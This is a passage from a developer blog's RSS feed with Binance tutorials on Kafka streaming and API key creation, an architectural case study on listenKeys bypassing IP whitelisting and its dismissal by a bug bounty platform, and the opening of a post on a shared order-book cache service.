<p>Activate the Consumer for the Topic <em>"<strong><strong>your_prefix</strong></strong>-btcusdt_binance_spot_last_trade_price"</em> — this Topic usually has the highest trade frequency.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/a7d87efa-cac9-4e8f-b23c-adf279be497a.png" alt="" style="display:block;margin:0 auto" />

<p>When you put everything together so far, this is what it looks like:</p>
<p><a class="embed-card" href="https://youtu.be/9t2HXqyamtk">https://youtu.be/9t2HXqyamtk</a></p>

<p>But now we want to fetch the data with a Python script so that you can process them as you like. This script Consumes the <em>"<strong><strong>your_prefix</strong></strong>-btcusdt_binance_spot_last_trade_price"</em> Topic, you only have to replace the login data and the topic prefix with yours.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289">https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289</a></p>

<p>Copy the script twice and change the topic once to <em>"<strong><strong>your_prefix</strong></strong>-ethusdt_binance_spot_last_trade_price"</em> and once to <em>"<strong><strong>your_prefix</strong></strong>-ltcusdt_binance_spot_last_trade_price"</em>.</p>
<p>Now you should have a complete system with one data collector and three data processors that allows you to receive data from Binance via websocket and process it via a Kafka cluster in separate distributed applications.</p>
<p><a class="embed-card" href="https://youtu.be/UHANyKa-G6Y">https://youtu.be/UHANyKa-G6Y</a></p>

<p>Of course, you could also redundantly receive and feed into Kafka and create multiple consumers for a Topic. I hope you have understood the basic concept and can now adapt it according to your ideas and requirements. 🚀</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[How to create a Binance API Key and API Secret?]]></title><description><![CDATA[You want to connect a script or trading bot to the Binance API?
In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!

]]></description><link>https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret</link><guid isPermaLink="true">https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret</guid><category><![CDATA[binance]]></category><category><![CDATA[api]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 14:53:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c77746b5-193c-4a14-a575-75dc4fba8c76.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>You want to connect a script or trading bot to the Binance API?</strong></p>
<p><strong>In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!</strong></p>
<hr />
<h3>Create API key/secret pair for Binance.com</h3>
<p>First, please log in to <a href="https://www.binance.com">binance.com</a>. If you don't have a Binance user account yet, you can sign up via my <a href="https://www.binance.com/en/activity/referral-entry/CPA?fromActivityPage=true&amp;ref=CPA_008DXU7CWB">referral link</a>. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.</p>
<p>Okay, let's get started!</p>
<h4>Step 1</h4>
<p>Click on the account button:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/b4a96a50-aec9-4903-8ef8-e6fe157a9c3a.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 2</h4>
<p>And then on "API Management":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/393608b0-b391-4c11-b99e-4db328dfef3f.png" alt="" style="display:block;margin:0 auto" />

<p>Now you are on the page where you can create, edit and delete your API key/secret pairs and define their respective permissions and IP whitelisting.</p>
<h4>Step 3</h4>
<p>To create an API access, next click on the yellow "create API" button in the upper right corner:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/039b6652-8f9e-42f6-aeb7-2a1e21f1318c.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 4</h4>
<p>Now a modal window pops up and you can decide which API key type you want to create. The definitely easier and faster process is the "System generated" HMAC-SHA256 type — the advantage of the "Self-generated" RSA type (private/public key pair) is that technically not even Binance knows your key for signing and RSA key pairs can also be stored with higher security, as they can be stored in a LUKS container or HSM and the mandatory entry of a passphrase can be activated to make the keys usable.</p>
<p>At the moment RSA signatures are not yet supported by the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">UNICORN Binance Suite</a>, as soon as this is the case we will adapt the instructions here.</p>
<p>So we continue with "System generated" and click "Next":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/62238773-31c7-427b-a8ce-0ea03ac84f98.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 5</h4>
<p>Since you can create multiple API Keys with different permissions and IP whitelists, you need to enter a label in this step. This will help you to identify your API key/secret pairs. To continue click on "Next":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/21a49245-a8d0-454d-88ea-19766df6208b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 6</h4>
<p>For security purposes, Binance wants you to play the Binance Sliding game:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fedbe39f-2152-4faf-a8e9-fc4b0063eddc.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 7</h4>
<p>First you need to request an email verification code:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6fcec1a5-089d-43e5-94da-ddabb76b29df.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 8</h4>
<p>Check your email inbox (and spam folder if necessary), Binance will now immediately send you an email with a verification code:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/507deb47-6a30-45ea-9b99-8b78080c0fda.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 9</h4>
<p>Copy the verification code from the email and paste it here:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4e4e59ec-f353-4589-b5cb-6f736479fa1b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 10</h4>
<p>Open Google's Authenticator app on your smartphone and enter the code for your user account. To continue, click on "Submit":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f88cb4c6-0caf-47e4-8fb8-cf2e70cc202b.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 11</h4>
<p>Immediately copy the API key/secret pair to a safe place, it will be shown to you only once! If you do not want to have read-only access to the API, you have not yet finished configuring the API key/secret pair.</p>
<p>All further permissions you have to enable explicitly and as soon as you grant further permissions, an IP whitelist is mandatory!</p>
<h4>Step 12</h4>
<p>Click on "Edit restrictions":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/79cbdc2a-46b4-4cca-846f-2544f00746cb.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 13</h4>
<p>Before you can enable the API Restrictions check boxes, you must select "Restrict access to trusted IPs only (Recommended)" under "IP access restrictions" and whitelist one or more IPs:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/50dfaf00-fcae-4b72-a230-2aec0a66fe73.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 14</h4>
<p>Now you can grant the desired permissions:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/81cd235f-a77d-4391-8647-32d76b439ad0.png" alt="" style="display:block;margin:0 auto" />

<h4>Step 15</h4>
<p>When you have set everything, click on "Save":</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/73926bb0-bde8-4c40-8e4d-d5b74d6f658a.png" alt="" style="display:block;margin:0 auto" />

<p>To save the new permissions and the IP whitelist you have to run the "Security Verification" from step 7 to step 10 again.</p>
<p>Now you can use your API key/secret pair!</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
<hr />
<p><em>Image source:</em> <a href="https://pixabay.com"><em>pixabay.com</em></a></p>
]]></content:encoded></item><item><title><![CDATA[When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API]]></title><description><![CDATA[A case study on how Binance's listenKey design bypasses IP whitelisting, why Bugcrowd dismissed it, and what this teaches us about API security in 2025.

Update (2026-04-20): This article was original]]></description><link>https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api</link><guid isPermaLink="true">https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api</guid><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[api security]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 14:20:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e43e64f5-e5a5-4d97-8b19-46e6fcbe0057.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A case study on how Binance's listenKey design bypasses IP whitelisting, why Bugcrowd dismissed it, and what this teaches us about API security in 2025.</p>
<blockquote>
<p><strong>Update (2026-04-20):</strong> This article was <a href="https://medium.com/technopathy/when-ip-whitelisting-isnt-what-it-seems-a-real-world-case-study-from-the-binance-api-816c4312d6d0">originally published on <strong>Medium on November 23, 2025</strong></a>, and has since been migrated to this blog. Since then, Binance has retired the old <code>listenKey</code>-based model for <strong>Spot User Data Streams</strong> from its Spot documentation and moved user data subscriptions to the <strong>WebSocket API</strong>. As a result, this post should be read as a case study of the earlier Spot architecture at the time of the original disclosure. In <strong>Derivatives/Futures</strong>, however, <code>listenKey</code>-based user data stream mechanisms are still present in the current documentation, so the transition does not appear to be fully uniform across all Binance product lines.</p>
</blockquote>
<blockquote>
<p><strong>Update (2026-04-23):</strong> Since publishing this case study, I uncovered a separate GitHub malware campaign that used the <strong>UNICORN Binance WebSocket API</strong> ecosystem as bait.<br />While technically distinct from the listenKey issue discussed here, it makes one thing very concrete: once a host is compromised, assumptions about what IP whitelisting or related boundaries do and do not protect become far more consequential.<br />Follow-up research: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<hr />
<p>In 2024, I discovered an unexpected API behavior in <strong>Binance</strong>, the world's largest crypto exchange.</p>
<p>I reported the issue twice through their official bug bounty program on <strong>Bugcrowd</strong> (<em>Submission ID 3897aec7–373d-46b2-b544–29bba9b04a0b from 09 Dec 2024 and b33df044–8db1–446f-9613–3d498067a995 from 18 Dec 2024</em>) — both times the report was closed as:</p>
<ul>
<li><p><strong>"Not security relevant"</strong></p>
</li>
<li><p><strong>"Not applicable"</strong></p>
</li>
<li><p>Essentially framed as <strong>"social engineering"</strong></p>
</li>
</ul>
<p>This article contains <strong>zero exploit code</strong>, <strong>zero harmful details</strong>, <strong>zero endpoints</strong>, and is purely an <strong>architectural case study</strong> — safe, abstract and intended for DevSecOps engineers, API designers, and security researchers. Anyone with a Binance account who knows a little bit of programming or can ask an AI can verify what I am claiming for themselves!</p>
<p><a class="embed-card" href="https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg">https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg</a></p>

<p>Watch this 5-min live demo first — then read the full technical breakdown below.</p>
<h4>Why publish it?</h4>
<p>Because local inconsistencies in trust boundaries matter. And because after ~11 months, the underlying behavior still exists. And because Bugcrowd, from my perspective, did not fulfill its role as a neutral and fair mediator in this case — which is the very purpose bug bounty platforms are supposed to serve for researchers.</p>
<ul>
<li><p><a href="#what-users-expect-from-ip-whitelisting">What Users Expect From IP Whitelisting</a></p>
</li>
<li><p><a href="#the-real-model-api-keys-vs-listenkeys">The Real Model: API Keys vs. listenKeys</a></p>
</li>
<li><p><a href="#critical-detail-you-can-obtain-the-listenkey-without-the-secret">Critical Detail: You Can Obtain the listenKey WITHOUT the Secret</a></p>
</li>
<li><p><a href="#the-core-security-mismatch-whitelisting-protects-the-api-key-not-the-listenkey">The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey</a></p>
</li>
<li><p><a href="#a-supply-chain-attack-needs-zero-user-interaction">A supply chain attack needs zero user interaction</a></p>
</li>
<li><p><a href="#why-this-isnt-just-social-engineering">Why This Isn't "Just Social Engineering"</a></p>
</li>
<li><p><a href="#real-world-impact-without-sensationalism">Real-World Impact (Without Sensationalism)</a></p>
</li>
<li><p><a href="#bugcrowds-handling--a-systemic-problem">Bugcrowd's Handling — A Systemic Problem</a></p>
</li>
<li><p><a href="#what-a-fair-process-would-have-looked-like">What a Fair Process Would Have Looked Like</a></p>
</li>
<li><p><a href="#lessons-for-devsecops--api-designers">Lessons for DevSecOps &amp; API Designers</a></p>
</li>
<li><p><a href="#closing-thoughts">Closing Thoughts</a></p>
</li>
</ul>
<hr />
<h3>What Users Expect From IP Whitelisting</h3>
<p>Binance allows API keys to be restricted to specific IP addresses.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ff80d653-a760-446d-bd76-2eff2c372a50.png" alt="" style="display:block;margin:0 auto" />

<p>This gives users a very strong expectation:</p>
<blockquote>
<p><em><strong>"Even if my API key leaks, nobody can use it unless they are on my whitelisted IPs."</strong></em></p>
</blockquote>
<p>That belief is the <em>entire purpose</em> of whitelisting.</p>
<p>It makes developers comfortable embedding an API key inside:</p>
<ul>
<li><p>Trading bots</p>
</li>
<li><p>Cloud workloads</p>
</li>
<li><p>Docker containers</p>
</li>
<li><p>CI/CD tools</p>
</li>
<li><p>Third-party libraries</p>
</li>
<li><p>Older servers</p>
</li>
<li><p>Desktop applications</p>
</li>
</ul>
<p>Because the assumption is:</p>
<blockquote>
<p><em><strong>"My key is useless anywhere else."</strong></em></p>
</blockquote>
<p>This assumption is reasonable. But — it is wrong.</p>
<hr />
<h3>The Real Model: API Keys vs. listenKeys</h3>
<p>Binance's API architecture includes:</p>
<h4>Primary credentials</h4>
<ul>
<li><p><code>apiKey</code></p>
</li>
<li><p><code>secretKey</code> (for HMAC signatures)</p>
</li>
</ul>
<h4>Secondary credential</h4>
<ul>
<li><strong>listenKey</strong> (used for user data streams)</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c1dd644c-f551-4aba-833f-184be775295e.png" alt="" style="display:block;margin:0 auto" />

<p>This is not a payload vulnerability — it is an architectural trust-boundary flaw.</p>
<p>User data streams show <strong>high-value real-time trading telemetry</strong>, including:</p>
<ul>
<li><p>Open orders</p>
</li>
<li><p>Order executions</p>
</li>
<li><p>Stop losses</p>
</li>
<li><p>Trailing stops</p>
</li>
<li><p>Liquidation-relevant positions</p>
</li>
<li><p>Balance changes</p>
</li>
<li><p>Strategy characteristics</p>
</li>
<li><p>Timing of order placement</p>
</li>
</ul>
<p>This is <em>not harmless information</em>. It exposes the inner workings of a trading strategy.</p>
<hr />
<h3>Critical Detail: You Can Obtain the listenKey WITHOUT the Secret</h3>
<p>This is the first architectural red flag.</p>
<p>Binance only requires the API key to issue a listenKey — the secret is not needed. This diverges from the usual "proof of possession" pattern in API design.</p>
<hr />
<h3>The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey</h3>
<p>This is the point that matters most.</p>
<h4>IP whitelisting fully protects the primary <code>apiKey</code>.</h4>
<p>But the <strong>listenKey is NOT IP-restricted.</strong> Not partially. Not conditionally. Not at all.</p>
<h4>Therefore:</h4>
<ol>
<li><p><strong>The API key is IP-bound.</strong></p>
</li>
<li><p><strong>The listenKey is NOT IP-bound.</strong></p>
</li>
<li><p>The listenKey can be obtained using only the API key.</p>
</li>
<li><p>Developers believe they are protected by whitelisting — but they aren't.</p>
</li>
</ol>
<p>This creates a <strong>false sense of security</strong>, and a <strong>broken mental model</strong>:</p>
<blockquote>
<p><em>"My key is locked to my infrastructure."</em></p>
</blockquote>
<blockquote>
<p><em><strong>…but a secondary stream that exposes my entire trading activity is not.</strong></em></p>
</blockquote>
<p>This is not a hack. This is not an exploit. This is a <strong>trust boundary inconsistency</strong>.</p>
<hr />
<h3>Why This Isn't "Just Social Engineering"</h3>
<p>Binance and Bugcrowd classified this as:</p>
<ul>
<li><p>"Social engineering"</p>
</li>
<li><p>"Not security relevant"</p>
</li>
</ul>
<p>This framing is technically inaccurate.</p>
<p>Here's why:</p>
<h4>A supply chain attack needs zero user interaction</h4>
<p>Any compromised:</p>
<ul>
<li><p>Python library</p>
</li>
<li><p>NPM module</p>
</li>
<li><p>Docker image</p>
</li>
<li><p>Browser extension</p>
</li>
<li><p>Trading bot wrapper</p>
</li>
<li><p>Cloud agent</p>
</li>
</ul>
<p>…can silently:</p>
<ol>
<li><p>Request a listenKey (no secret required)</p>
</li>
<li><p>Extract it from memory</p>
</li>
<li><p>Exfiltrate it</p>
</li>
<li><p>Access your user streams from <em>any</em> IP</p>
</li>
</ol>
<p>No phishing. No manipulation. No fake login. No mistake by the user.</p>
<p>This is entirely <strong>machine-side</strong>, not <strong>human-side</strong>.</p>
<p>Social engineering requires human manipulation; this issue requires none.</p>
<p>Calling this "social engineering" is simply wrong.</p>
<h4>A Sign of This False Sense of Security</h4>
<p>This broken security assumption is also visible in the real world. Over the years, multiple users have publicly posted their listenKeys on GitHub — something nobody would ever do with an API key. Examples:</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783">https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/60056ccd-c361-406f-8af4-a8d8643816a3.png" alt="" style="display:block;margin:0 auto" />

<p><a href="https://github.com/binance/binance-connector-python/issues/99">https://github.com/binance/binance-connector-python/issues/99</a></p>
<p><img src="align=%22center%22" alt="" /></p>
<p>When users misunderstand what is protected, they behave accordingly — and that's how real-world incidents happen.</p>
<p>People do this because they believe the listenKey is protected by the same IP whitelisting rules as the API key. It isn't — and that misconception is exactly why this architectural flaw matters.</p>
<hr />
<h3>Real-World Impact (Without Sensationalism)</h3>
<p>listenKeys do <strong>not</strong> grant trading or withdrawal privileges.</p>
<p>But they grant something extremely valuable:</p>
<h4>Market-moving intelligence</h4>
<ul>
<li><p>Open orders</p>
</li>
<li><p>Stop-losses</p>
</li>
<li><p>Take-profit triggers</p>
</li>
<li><p>Liquidation thresholds</p>
</li>
<li><p>Wallet exposure</p>
</li>
<li><p>Detailed order execution flow</p>
</li>
<li><p>Balance movements</p>
</li>
<li><p>Position sizing</p>
</li>
<li><p>Leverage usage</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/9c82e683-aeca-4ebe-bba7-14809e827e8c.png" alt="" style="display:block;margin:0 auto" />

<p>With enough listenKeys from many accounts, an attacker could:</p>
<ol>
<li><p>Front-run traders</p>
</li>
<li><p>Hunt stops</p>
</li>
<li><p>Trigger liquidations</p>
</li>
<li><p>Detect whale movement patterns</p>
</li>
<li><p>Understand strategy timing</p>
</li>
<li><p>Analyze market sentiment by user position flow</p>
</li>
</ol>
<p>This is the type of data for which hedge funds pay millions.</p>
<p>Yet with whitelisting enabled, users naturally believe this information is protected.</p>
<p>It isn't.</p>
<hr />
<h3>Bugcrowd's Handling — A Systemic Problem</h3>
<p>I submitted the issue twice, both times with professional detail on:</p>
<ul>
<li><p>Architecture</p>
</li>
<li><p>Threat model</p>
</li>
<li><p>Python prototype</p>
</li>
<li><p>Timelines</p>
</li>
<li><p>Diagrams</p>
</li>
<li><p>Real user stream examples (safe &amp; anonymized)</p>
</li>
<li><p>Demo video</p>
</li>
</ul>
<p>The responses were:</p>
<ul>
<li><p>"Not applicable"</p>
</li>
<li><p>"Not security relevant"</p>
</li>
<li><p>"Social engineering"</p>
</li>
</ul>
<p><strong>No questions.No technical discussion.No escalation to senior security staff.No clarification.No interest.No attempt to understand the architecture.</strong></p>
<p>This is not a Binance-only problem. This is a <strong>bug bounty ecosystem problem</strong>:</p>
<ul>
<li><p>Business logic vulnerabilities fall through the cracks.</p>
</li>
<li><p>Architectural flaws don't fit classic CVSS scoring.</p>
</li>
<li><p>Whitelisting is treated as a UX feature, not a security boundary.</p>
</li>
<li><p>Vendor customers get overly defensive.</p>
</li>
<li><p>Bugcrowd triage tends to favor the vendor.</p>
</li>
</ul>
<p>This case is a textbook example.</p>
<p>But the triage process didn't reflect the actual technical depth of the issue.</p>
<h4>A Note on Bugcrowd's Process Handling</h4>
<p>When I submitted additional clarification through Bugcrowd's "Request for Response" mechanism, the reply I received did not address the technical points raised. Instead, it reiterated the original classification without engaging with the architectural arguments behind the issue. The response even included a reminder about potential penalties for requesting further clarification, despite the fact that no new technical review had taken place.</p>
<p>This experience reinforced a broader problem I've observed in the bug bounty ecosystem: <strong>Platform triage processes are often optimized for clear, conventional vulnerabilities, but they struggle with architectural or trust-boundary issues that don't fit neatly into predefined categories.</strong></p>
<p>In this specific case, Bugcrowd did not provide the neutral and technically grounded mediation that researchers rely on — especially when a report involves design-level inconsistencies rather than classic "payload exploits." This is not about blame; it simply shows that current triage workflows are not well-equipped for complex, multi-layered security findings.</p>
<hr />
<h3>What a Fair Process Would Have Looked Like</h3>
<p>For findings of this kind, a fair bug bounty process usually includes:</p>
<ul>
<li><p>A technical review</p>
</li>
<li><p>Follow-up questions</p>
</li>
<li><p>A classification discussion</p>
</li>
<li><p>A clear explanation of the vendor's reasoning</p>
</li>
<li><p>And at least a form of researcher recognition</p>
</li>
</ul>
<p>These are standard expectations across reputable bounty programs — especially for architectural issues that require multi-day analysis, cross-checking, prototyping, and documentation.</p>
<p>My work included:</p>
<ul>
<li><p>Several days of API investigation</p>
</li>
<li><p>Multiple reproductions</p>
</li>
<li><p>Python demonstrations</p>
</li>
<li><p>Clean and safe reporting</p>
</li>
<li><p>Detailed architectural reasoning</p>
</li>
<li><p>Real-world demonstration of the trust boundary mismatch</p>
</li>
</ul>
<p>Across most platforms, this type of research is acknowledged regardless of payout decisions.</p>
<h4>In my case, however, none of this happened:</h4>
<ul>
<li><p>No technical discussion</p>
</li>
<li><p>No meaningful review</p>
</li>
<li><p>No recognition</p>
</li>
<li><p>No acknowledgement of the work invested</p>
</li>
</ul>
<h4>This is why the case matters:</h4>
<p>Not because of financial expectations — but because the process failed to deliver what bug bounty platforms are fundamentally meant to provide: <strong>fairness, neutrality, and respect for substantial research effort.</strong></p>
<hr />
<h3>Lessons for DevSecOps &amp; API Designers</h3>
<h4>1. Secondary tokens must inherit all constraints of the primary.</h4>
<p>No exceptions.</p>
<h4>2. Proof of possession matters.</h4>
<p>Never issue a token without confirming ownership of its parent credential.</p>
<h4>3. IP whitelisting must be consistent.</h4>
<p>If one flow bypasses it, the guarantee breaks.</p>
<h4>4. Users' mental models matter as much as code.</h4>
<p>When expectations don't match reality, security collapses.</p>
<h4>5. Bug bounties must evolve beyond "classic bugs."</h4>
<p>Architecture is security. Design is security. Assumptions are security.</p>
<hr />
<h3>Closing Thoughts</h3>
<p>The Binance listenKey issue isn't a catastrophic vulnerability. It won't drain wallets, freeze accounts, or cause instant chaos.</p>
<p>But it <em>is</em> a powerful example of:</p>
<ul>
<li><p>Inconsistent trust boundaries</p>
</li>
<li><p>Misleading security assumptions</p>
</li>
<li><p>Risk of supply-chain leakage</p>
</li>
<li><p>Architectural flaws not fitting bounty templates</p>
</li>
</ul>
<p>And it shows how easily deep research can be miscategorized and dismissed.</p>
<p>My goal in publishing this is simple:</p>
<blockquote>
<p><em><strong>To spark a conversation on how we evaluate architectural security issues — especially in systems trusted with billions of dollars.</strong></em></p>
</blockquote>
<p>If you work in DevSecOps, crypto infrastructure, or API security, I would genuinely value your perspective.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Why Your Binance Order Book Should Not Live Inside Your Bot]]></title><description><![CDATA[Most Binance bots start the same way.
One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is f]]></description><link>https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot</link><guid isPermaLink="true">https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot</guid><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[open source]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 07:29:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/040ec127-069c-4953-94fe-ae614ebf7868.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most Binance bots start the same way.</p>
<p>One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is fine. Sometimes it is even elegant.</p>
<p>Then the setup grows.</p>
<p>A second bot appears. A dashboard wants the same data. A sidecar service needs top-of-book prices. A teammate working in JavaScript wants access too. Reconnects pile up. Snapshot requests start burning rate limit budget. And if the one process holding a market dies, your market view dies with it.</p>
<p>Suddenly the order book living inside one bot process is no longer a neat design choice. It is now the bottleneck.</p>
<p>That is the problem this post is about.</p>
<p>And that is why I built <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><strong>UBDCC</strong></a> — the <strong>UNICORN Binance DepthCache Cluster</strong>.</p>
<h2>The core problem</h2>
<p>A local depth cache inside one process is easy to start with, but hard to share, hard to scale, and fragile.</p>
<p>That creates four common failure modes.</p>
<h3>1. One bot becomes two</h3>
<p>The first strategy works, so you launch a second one.</p>
<p>Now both bots maintain their own WebSocket connections, their own snapshots, and their own copies of the same order books in separate memory spaces. You doubled the moving parts without gaining new market data. After a reconnect or short network disturbance, those two processes can temporarily hold slightly different views of the same market.</p>
<p>That is not great when both are making decisions off the same symbol.</p>
<h3>2. Other services need the same data</h3>
<p>Serious setups rarely stop at one bot.</p>
<p>Soon there is:</p>
<ul>
<li><p>a dashboard</p>
</li>
<li><p>an alerting service</p>
</li>
<li><p>a sanity-check script</p>
</li>
<li><p>a backtester consuming live spreads</p>
</li>
<li><p>some quick internal tool that “just needs the top 5 asks”</p>
</li>
</ul>
<p>If the depth cache only exists inside a Python process, every new consumer either needs its own cache or some custom integration. Both options are ugly.</p>
<p>And if one of those consumers is written in Node.js, Go, Rust, or Bash, it gets uglier fast.</p>
<h3>3. Rate limits become infrastructure limits</h3>
<p>Every initial depth snapshot costs request weight.</p>
<p>If every process builds its own local cache, every process burns its own weight budget. Reconnect storms multiply the cost. Large market sets become slow to initialize. On one IP, the wall arrives quickly.</p>
<p>For strategies like triangular arbitrage, where a bot may depend on dozens or even hundreds of depth caches, restarting the strategy during development because of one changed line of code can mean waiting all over again for the entire in-process market view to rebuild and re-sync.</p>
<p>That is a lot of wasted time for something that has nothing to do with strategy logic.</p>
<h3>4. One cache becomes a single point of failure</h3>
<p>A local depth cache inside one bot process is not just hard to share. It is also fragile.</p>
<p>If that process dies, your market view for that symbol dies with it. The usual workaround is not real high availability — it is just duplication by coincidence, with different processes maintaining different copies of the same book.</p>
<p>In a serious setup, market data should not depend on one process staying alive. It should be a shared service with explicit redundancy and failover.</p>
<p>So the real problem is not “how do I keep one order book in sync?”</p>
<p>The real problem is:</p>
<blockquote>
<p><strong>How do I turn order book data into shared infrastructure instead of per-process state?</strong></p>
</blockquote>
<h2>The architectural answer</h2>
<p>The clean answer is simple:</p>
<p><strong>one shared depth-cache layer, many consumers</strong></p>
<p>Instead of every bot owning its own WebSocket connection and local order book, you run one service that manages order books centrally and exposes them over HTTP.</p>
<p>That is what UBDCC does.</p>
<p><strong>UBDCC turns Binance order books from per-process state into shared infrastructure.</strong></p>
<p>Anything that can speak HTTP can consume the data:</p>
<ul>
<li><p>Python</p>
</li>
<li><p>Node.js</p>
</li>
<li><p>Go</p>
</li>
<li><p>shell scripts with <code>curl</code></p>
</li>
<li><p>dashboards</p>
</li>
<li><p>monitoring</p>
</li>
<li><p>internal tools</p>
</li>
</ul>
<p>That is the key shift.</p>
<p>Not “another library”. Not “another bot framework”.</p>
<p>A shared order book layer.</p>
<h2>What UBDCC is</h2>
<p>UBDCC is an MIT-licensed cluster service for shared Binance depth caches.</p>
<p>It manages:</p>
<ul>
<li><p>WebSocket connections</p>
</li>
<li><p>depth snapshot initialization</p>
</li>
<li><p>synchronized local order books</p>
</li>
<li><p>distribution of caches across worker processes</p>
</li>
